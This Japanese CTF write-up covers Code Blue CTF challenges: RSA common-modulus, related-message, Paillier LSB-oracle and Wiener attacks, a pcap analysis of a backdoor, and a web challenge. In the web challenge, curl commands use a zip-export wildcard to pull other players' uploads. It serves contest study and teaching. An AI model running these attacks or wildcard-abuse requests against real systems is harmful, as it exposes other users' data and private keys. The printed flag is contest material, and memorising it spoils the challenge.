Code Blue CTF Writeup
Common Modulus 1-3
いずれもRSAを解読する問題。
\(C_1 = M^{e_1} \mod N\)
\(C_2 = M^{e_2} \mod N\)
が与えられる。Common Modulus 1では\(e_1, e_2\)は互いに素なので、拡張ユークリッドの互除法により
\[ x e_1 + y e_2 = 1 \]
となる\(x, y\)が求められる。すると
\[ C_1^x C_2^y = M^{x e_1 + y e_2} = M^1 = M \]
となるので復号できる。
Common Modulus 2では\(\mathrm{gcd}(e_1, e_2) = 3\)となってしまうのでこの方式でも
\[ M^3 \mod N \]
までしかわからない。
しかしながら、平文のビット数が少ないので、自然数としての３乗根を取ればよい。
Common Modulus 3では\(\mathrm{gcd}(e_1, e_2) = 17\)かつ、\(M = M_0 2^l \)とパディングされている。
\[ M^{17} = M_0^{17} 2^{17l} \mod N \]
であるので
\[ M_0^{17} = M^{17} (2^{17l})^{-1} \]
よって、\(l\)をguessして、\(M_0^17\)を計算し、その17乗根を計算すれば良い。
Random RSA
\(C_1 = (M + B_1)^e \mod N\)
\(C_2 = (M + B_2)^e \mod N\)
…
\(C_e = (M + B_e)^e \mod N\)
が与えられる。\(C_1 \dots C_e, e, N\)は既知、\(B_1 \dots B_e\)は擬似乱数生成器から作られる。また、乱数生成器の生成した乱数列の一部（\(B_1 … B_e\)は含まない）がもらえる。
擬似乱数生成器は状態が128bitで、状態\(s_n\)を長さ128のベクトルとすると次の形でかける
\[s_{n+1} = A s_n \]
ここで\(A\)は128 x 128の行列
乱数は
\[r_{n} = s_n[0,63] + s_n[64,127] \mod s^{64}\]
として得られる。
\(r_1 … r_{32}\)は既知なのでここから擬似乱数生成器の内部状態を復元したい。
線形な乱数生成器なのでSMTソルバを使って解読できる。
（しかしながら、ここで算術シフトと論理シフトを間違えて結構な時間バグらせていた。）
SMTソルバを用いて解くと、乱数生成器の初期状態が
s = [16792192752041738357, 15780247886525933760]
であることがわかった。したがって、\(B_1 \dots B_e\)も計算できた。
今\(B_1 \dots B_e\)が既知であるので
\(C_1 = (M + B_1)^e \mod N\)
\(C_2 = (M + B_2)^e \mod N\)
…
\(C_e = (M + B_e)^e \mod N\)
は、X^e … X^1を変数とする線形連立方程式なので解ける。
と思って作業していたが、よく考えると\(e \sim 5000\)なので計算量的に厳しい。
しばらく悩んでいたが、暗号文が\(e\)個あることにミスリードされていたが、
暗号文が二つあればRelated Message Attackで解けることに気づいた。
\(f_1(X) = (X + B_1)^e - C_1 mod N\)
\(f_2(X) = (X + B_2)^e - C_2 mod N\)
はXを変数とする多項式で、\(f_1(X) = 0, f_2(X) = 0\)は共通解\(X = M\)を持つ。
したがって、\(\mathrm{gcd}(f_1,f_2)\)を計算してやると\(f_1(X) = 0, f_2(X) = 0\)の共通解を根としてもつ多項式が得られる。
この多項式は十分高い確率で一次多項式なので、\(M\)を復元することができる。
CBCTF{1t_0nly_5eems_r4nd0m...4ll_4r3_rel4ted!_27229a2a67a6ad3f388ea1e8076533de58ea41b8}
Paillier Oracle
問題文からわかるようにPaillier暗号の問題。
サーバにつなぐとPaillier暗号の公開鍵、flagの暗号文が与えられる。
その後、以下のクエリを任意回送ることができる。
クエリ：任意の暗号文を送るとその復号結果のLSBを返してくる。
Paillier暗号は有名な性質として加法準同型性を満たすのでそれを用いて解くのだろうと推測できる。
加法準同型性というのは平文\(M_1\)の暗号文\(C_1\)と平文\(M_2\)の暗号文\(C_2\)があった時に\(C_1, C_2\)のみから、
\(C_3\)が計算できて、\(C_3\)を復号すると\(M_1 + M_2 \mod N \)が得られるという性質のことだ。
今回の問題では平文のLSBのみが教えてもらえるので平文の上位bitは簡単にはわからないように見える。
しかし、桁の繰り上がりを利用することで上位bitの情報を得ることが可能である。
今\(0 \leq M < N\)を目的の平文、\(0 \leq k < N\)を偶数とする。
すると\(0 \leq M + k \leq 2N\)である。
\(M + k >= N\)である時、
\[\mathrm{LSB}(M+k \mod N) = \mathrm{LSB}(M+k - N) = \mathrm{LSB}(M) \oplus \mathrm{LSB}(N) = !\mathrm{LSB}(M)\]
そうでない時
\[\mathrm{LSB}(M+k \mod N) = \mathrm{LSB}(M+k) = \mathrm{LSB}(M) \]
である。
この性質を利用すると\(M + k = N\)となる\(k\)を上位bitから決定していくことができる。
具体的には\(i\)bit目を決定する際には、\(\mathrm{LSB}(M + k + 2^i)\)をoracleを用いて調べて、
それが\(\mathrm{LSB}(M)\)と一致していれば、\(k := k + 2^i\)と更新する。
これを繰り返していくことで\(k\)を決定し、\(M = N - k\)として求めることができる。
ただ、そのままやると時間がかかりすぎるので、\(M < 2^{400}\)を仮定して上位ビットについては天下り式に与えた。
Incident Response
pcapファイルを解析する問題
156番目のパケットでサーバがHTTP Status500を返している。よくよく見るとシェルコードらしきものが送られている。
そのパケットのTCP通信データをdumpして、r2を用いて解析した。
解析するとbackdoorを開けるマルウェアのようだ。
その後、pcapファイルに戻りbackdoorにアクセスしている通信を調べた。すると
tcp.stream eq 15
にサーバ(172.17.0.2:50306)と攻撃者(172.17.0.10:31337)の間に怪しげなTCP通信がある。
しかしながら入出力が暗号化されていてそのままでは読めない。
再びr2に戻って解析を続けた。すると次のことがわかった。
- マルウェアは/dev/urandomを32バイト読んで攻撃者に送信する。
- その後はその32バイトを初期状態としたストリーム暗号を用いて攻撃者との入出力を暗号化している。
暗号の仕組みを真面目に解析するのは大変だったので動的解析を行うことにした。
暗号の初期化を行う関数がoffset 0x633, 暗号化を行う関数がoffset 0x6a3にあることを突き止めたので、
mmapでマルウェアのコードをメモリ上に配置し、実際に動かすことで解析した。
tcp.stream eq 14（攻撃者側のデータのみ）をincidentという名前のファイルにdump、
tcp.stream eq 15（時系列順に両方のデータ）をmalciousという名前のファイルにdumpした。
その後以下のCプログラムをコンパイルして実行すると通信を解読し、フラグを得ることができた。
giste7f6816f76770095b6d0d978662be16f
Smoke on the water
1000bitRSAを破る問題。\(d = \phi(N) - d'\)として作っており、\(d'\)が200bitくらいしかないのでWiener's Attackで解いた。
Code Blue Snippet
この問題はおそらく正攻法ではない方法で解いた。
自分のディレクトリにis_adminファイルを設置すればフラグがもらえる。
exportにアクセスすると自分の書いたファイルをzipにまとめてダウンロードできる。
ソースを読むとzipを作るときにZipArchive::addGlobを使っているのでワイルドカードが指定できる。
そこで
curl 'http://cbs.tasks.ctf.codeblue.jp/export.php?dir=e*'
などとすると、他のユーザのアップロードしたファイルもまとめてダウンロードできる
すでに問題を解いたプレイヤーがいるので、どこかにis_adminの設置されたディレクトリがあるはず。
探すとdir=3ba458756d9dd5cc652cdb75f6b367f5にそのようなファイルが存在した。
そのなかからis_adminをつけたファイルを探し出してzipに固めて落としてくる。
$ curl -v 'http://cbs.tasks.ctf.codeblue.jp/export.php?dir=3ba458756d9dd5cc652cdb75f6b367f5' > hoge.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 35.200.12.164...
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to cbs.tasks.ctf.codeblue.jp (35.200.12.164) port 80 (#0)
> GET /export.php?dir=3ba458756d9dd5cc652cdb75f6b367f5 HTTP/1.1
> Host: cbs.tasks.ctf.codeblue.jp
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Fri, 10 Nov 2017 04:33:44 GMT
< Server: Apache/2.4.10 (Debian)
< X-Powered-By: PHP/7.0.25
< Set-Cookie: PHPSESSID=933dcd6482c906fd9cdeb6826dd73915; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Disposition: attachment; filename='98b60b88e85675b293a7994e464596a5a7ff8c6870d027cabcef44f6d49fde08.zip'
< Vary: Accept-Encoding
< Content-Length: 305
< Content-Type: text/html; charset=UTF-8
<
{ [305 bytes data]
100 305 100 305 0 0 1079 0 --:--:-- --:--:-- --:--:-- 1077
* Connection #0 to host cbs.tasks.ctf.codeblue.jp left intact
||<
file名を98b60b88e85675b293a7994e464596a5a7ff8c6870d027cabcef44f6d49fde08.zipにつけ直す。
